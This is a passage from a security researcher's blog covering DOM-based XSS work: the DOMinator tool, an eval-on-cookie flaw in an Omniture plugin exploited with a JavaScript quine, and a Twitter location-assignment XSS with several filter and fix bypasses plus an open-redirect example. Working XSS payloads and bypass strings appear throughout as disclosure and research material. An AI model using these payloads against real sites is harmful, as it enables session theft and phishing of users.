We downloaded top Alexa 1 million sites and analyzed the first 100 in order to verify the presence of exploitable DOM Based Cross Site Scripting vulnerabilities.
Using DOMinator we found that 56 out of 100 (56% of sites) were vulnerable to reliable DOMXss attacks.
Some analysis example can be found here and here.
We'll release a white paper about this research, in the meantime you can try to reach our results using DOMinator.

Future work

DOMinator is still in beta stage but I see a lot of potential in this project.
For example I can think about:
  • Dominator library (Spidermonkey) used in web security scanners project
  • for automated batch testing.
  • Logging can be saved in a DB and lately analyzed.
  • Per page testing using Selenium/iMacros.
  • A version of DOMinator for xulrunner.
  • A lot more
It only depends on how many people will help me in improving it.

So, if you're interested in contributing in the code (or in funding the project) let me know, I'll add you to the project contributors.
We have some commercial ideas about developing a more usable interface with our knowledge base but we can assure you that the community version will always be open and free.

In the next few days I'll release a whitepaper about DOMinator describing the implementation choices and the technical details.

Stay tuned for more information about DOMinator..the best is yet to come.

Acknowledgements
DOMinator is a project sponsored by Minded Security, created and maintainted by me (Stefano Di Paola).
I al want to thank Arshan Dabirsiaghi (Aspect Security), Gareth Heyes and Luca Carettoni (Matasano) for their feedback on the pre-pre-beta version :)

Finally, feel free to follow DOMinator news on Twitter as well by subscribing to @WisecWisec and @DOMXss.

Friday, April 29, 2011

God Save The (Omniture) Quine

Some weeks ago, while testing a website hosted by a client of ours with DOMinator, I found that an Omniture Catalyst plugin called crossVisitParticipation used an eval on a cookie value.
It was a typical 'eval(cookieValue)' which is bad from a security perspective, but there is
something more interesting which made me think to write a post about it, since the attack vector was kind of advanced and the model here is different from "traditional" mashups.
In fact in the Omniture case, companies have to save an auto generated JS and host it on their own websites.
This means updates are directly tied to a local site administration policy, and no real time update is possible.

Long story short, I found out it's possible for some versions of crossVisitParticipation plugin
to overwrite the cookie in a way it's possible to let the eval do whatever an attacker
wants abusing the query string.
Let's have a look at the vulnerable code:

// function crossVisitParticipation
1: function anonymous(v, cn, ex, ct, dl, ev) {
2: var s = this;
3: var ay = s.split(ev, ",");
4: for (var u = 0; u < ay.length; u++) {
5: if (s.events && s.events.indexOf(ay[u]) != -1) {
6: s.c_w(cn, "");
7: return "";
8: }
9: }
10: if (!v || v == "") {
11: return "";
12: }
13: var arry = new Array;
14: var a = new Array;
15: var c = s.c_r(cn);
16: var g = 0;
17: var h = new Array;
18: if (c && c != "") {
19: arry = eval(c); // Sink Here from Cookie Value!!
20: }
21: var e = new Date;
22: e.setFullYear(e.getFullYear() + 5);
23: if (arry.length > 0 && arry[arry.length - 1][0] == v) {
24: arry[arry.length - 1] = [v, (new Date).getTime()];
25: } else {
26: arry[arry.length] = [v, (new Date).getTime()];
27: }
28: var data = s.join(arry, {delim: ",", front: "[", back: "]", wrap: "'"});
29: var start = arry.length - ct < 0 ? 0 : arry.length - ct;
30: s.c_w(cn, data, e); // after eval'ed it's rewritten in form of cookie.
31: for (var x = start; x < arry.length; x++) {
32: var diff = Math.round(new Date - new Date(parseInt(arry[x][1]))) / 86400000; 33: if (diff < ex) {
34: h[g] = arry[x][0];
35: a[g++] = arry[x];
36: }
37: }
38: var r = s.join(h, {delim: dl});
39: return r;
40: }

which is called from another method:

if(!b.campaign){
b.campaign=b.getQueryParam("cid");
b.campaign=b.getValOnce(b.campaign,"ecamp",0)
}
b.eVar14=b.crossVisitParticipation(b.campaign,"s_cpm","90","5",">","purchase");

Even if, by digging into all versions, I found that only crossVisitParticipation plugin version <1.4 seems to be directly exploitable from the query string, I also found that some big sites in top 100k Alexa are still vulnerable.
That said, from my (app sec researcher) point of view I can see something interesting, which is the attack vector.
Easily, an attacker could use a simple one time injection like the following:

//The correct parameter depends on the Omniture user, so let's suppose as seen in the code "cid" parameter is the one:
http://omnitureClientHost/?#cid=aa'+alert(1)+'

but since the cookie is rewritten (Line 30) using the eval'ed object the attacker would loose the payload. So we can actually create something that after it's eval'ed it'll be he same, also called a (Javascript) Quine.
My favourite source is sla.ckers.org, and a wonderful quine thread is here. So I just needed to understand the principles of Js Quines and I finally made a working one for this specific case.
In the Omniture case an attacker needs to add the quine in the cookie and then force the eval using a new value for the cid:

<script>
function go(){

var if2=document.getElementById("x2");
if2.onload=go2
if2.src="http://xxx/?&#&cid=143'+(_=/[,\"'+(_=\"+_+_(_,alert(document.domain)))+']+/,\"'+(_=\"+_+_(_,alert(document.domain)))+'sss&aa=ddddeee"
}
function go2(){
var if2=document.getElementById("x");
if2.src="http://xxx/?&cid=143"+Math.random()
}
</script>
<body onload='go()'>
<iframe id='x' src="about:blank"></iframe>
<iframe id='x2' src="about:blank" ></iframe>


The attack vector will be firstly executed and then rewritten each time as it is as each quine should do.
So every time the victim will visit the vulnerable site with a new cid the Xss will be triggered.

As a side note we can see in the Omniture code, line 24, that the value of b.campaign is directly added to the cookie;
versions >=1.4 use v=escape(v) which blocks any direct attack from the query string.

BTW, this issue was found using my next to release tool DOMinator - DOMXss finder.
Stay tuned for news about it.


PS. I know is not really clear for faint of heart JS DOM Xss noobs, but sites out there are still vulnerable, sooo..keep researching and you'll discover the magic of this brand new DOMXss world.

PPS. Tom Keetch (@tkeetch) publicly released an advisory
concerning an Omniture attack using Cookie Forcing
by Chris Evans (@scarybeasts).
This attack can be achieved in Man in the Middle or shared browser Kiosk situations.
My research is mostly focused to remotely exploitable stuff, but in this case the quine can be, obviously, applied to this as well, so kudos to Tom and Chris for finding this, doable even if less reliable, attack scenario.

PPPS. Adobe Omniture released a new version (1.7) of the plugin which should mitigate any attack against it, so you're invited to upgrade it. And, please, start thinking about 3rd party JS as worth of risk identification.

Wednesday, September 22, 2010

A Twitter DomXss, a wrong fix and something more

A Twitter DOM Xss

It seems that twitter new site, introduced some issue resulting in a worm exploiting a stored Xss.
They also added some new JavaScript in their pages which I casually saw while searching in the html for the worm payload.

The code was the following :

//<![CDATA[
(function(g){var a=location.href.split("#!")[1];if(a){g.location=g.HBR=a;}})(window);
//]]>


Do you spot the issue?
It search for "#!" in the Url and assign the content after that to the window.location object. And it is present in (almost?) every page on twitter.com main site.

According to DOM Xss Wiki the location object is one of the first objects identified for being dangerous as it is both a source and a sink.

In fact the DOM Based Xss will be triggered by simply going to:

http://twitter.com/#!javascript:alert(document.domain);

as shown in the following screenshot:


Very simple and effective.
After spotting the issue, I sent an email to twitter warning them about it but not without apologizing for finding it in the middle of worm spreading.

The response was quite funny because, even if the issue was very straightforward, they cannot reproduce it because of safari antiXss filter.

Obviously I checked on every browser but Safari ... and guess what ? Safari blocked it! We'll talk about it later.

So I told them that it worked on Firefox, Chrome and Opera and after that they confirmed the issue, thanked me and so long. No more mails.

A Wrong Fix (To Replace or not to Replace )
Thanks Gaz for the title.

After some hours, I found the following fix:


var c = location.href.split("#!")[1];
if (c) {
window.location = c.replace(":", "");
} else {
return true;
}


What's wrong with that?
  1. Data Validation. 'c' is not validated as directed, that means every character but ":" is allowed. Data validation is about limiting the set of every possible input to an expected subset. Question is do we need to allow everything but one char?
  2. BlackListing. It is widely known that blacklisting could lead to bypasses if it is done loosely.
  3. No output encoding is applied. Since location assignment calls the URL Parser the context is quite known and have it's own metacharacters and structure. encoding in the URLParser context is also known as URLEncoding.
  4. The use of replace ... let's see the doc (ECMA Specification):
[...]
String.prototype.replace (searchValue, replaceValue)
[...]
If searchValue is not a regular expression, let searchString be ToString(searchValue) and search
string for the first occurrence of searchString. Let m be 0.
[...]


The analysis tells that the fix is wrong, and in fact is possible to bypass the replace by doubling the colon ':' char.


http://twitter.com/#!javascript::alert(document.domain);


See the '::' ?
The replace just deletes the first occurrence of ':' so we just add two ':'.
It has also the drawback to bypass several client side filters, Safari included.

So I wrote again to twitter:

Hey,
that is not correct!

(function(g){var
a=location.href.split("#!")[1];if(a){g.location=g.HBR=a.replace(":","");}})(window);

will allow:

twitter.com/#!javascript::alert(1)

see the :: ?
I'd suggest you to urlencode a
or
if it breaks things use a whitelist of allowed chars before going to assign a to the location.

Another fix could be using:
location.pathname=a
or
location.search=a

which at least let you stay on the same domain (not sure it works on every browser), but I don't know if it's ok for twitter.

It's not a easy task, as usual :)

Also, please, send me an email when the fix is done, cause I don't want to set a cron job to get when the fix is deployed.
...


This morning I found the following fix (no email from them though):

(function(g){
var a=location.href.split("#!")[1];
if(a){
g.location=g.HBR=a.replace(":","","g");
}
})(window);


Which resolves the multiple colons attack, but, IMHO, it is not really correct because of what I've said previously.


The Safari Filter Bypass (the something more part)

As a side consequence of the twitter DOM Xss I found myself playing with the Safari anti Xss filter.
It seems that it tries to find a match between the payload used in the assignment to location and the values in the Url in browser location bar.
After checking a bit in order to understand the behavior of the filter, I figured out that it urldecode the Url and then search for the pattern.
The problem comes because of that.
In fact since the + is replaced to a space character, then

twitter.com?#!javascript:1+alert(1)


becomes:

twitter.com?#!javascript:1 alert(1)

which obviously won't ever match the needle:

"javascript:1+alert(1)"


And there you have the bypass.


Update (24/09/2010)

Twitter finally set a working patch to the second wrong fix (see comments).

(function(g){var a=location.href.split("#!")[1];if(a){g.location=g.HBR=a.replace(/:/gi,"");}})(window);


Still not the best,IMHO, but at least it works...well, until there will be a bypass.
Also, since the patch just blocks ':' still remains an arbitrary redirect issue.

twitter.com#!//attacker.ltd/with/a/page/similar/to/twitterlogin/page

Update (25/09/2010)

As it was to be expected, there is a bypass (already public) which works on IE8 (~26% market share).
I found it yesterday independently by Gareth Heyes and Yusuke Hasegawa and reported to Twitter security team.
The bypass takes advantage of the html entity version of ':' which is &#58; or &#x3a;.
Internet Explorer 8, unlikely other browsers, when finds an entity converts it to its original value when it is assigned to the location object.

location="&x#58;"

will let the browser to go to ':' and not to literally "&x58;"
So, when the patch tries to replace ':' to an empty value, it won't find it, but the assignment to the location will convert it again to a colon.


twitter.com#!javascript&x58;alert(1)

is still valid (not in blacklist).

Finally, after writing a new mail to twitter security team, they came with a good defensive patch:

(function(g){var a=location.href.split("#!")[1];if(a){window.location.hash = "";g.location.pathname = g.HBR = a;}})(window);

As I suggested in my first email.
What happens here is that the assignment is performed on the correct attribute (the pathname) so that it is parsed in the right context with no possible bypasses to force a new URI scheme.
Now everything *should* be really ok... well, if all browsers will behave in the right way!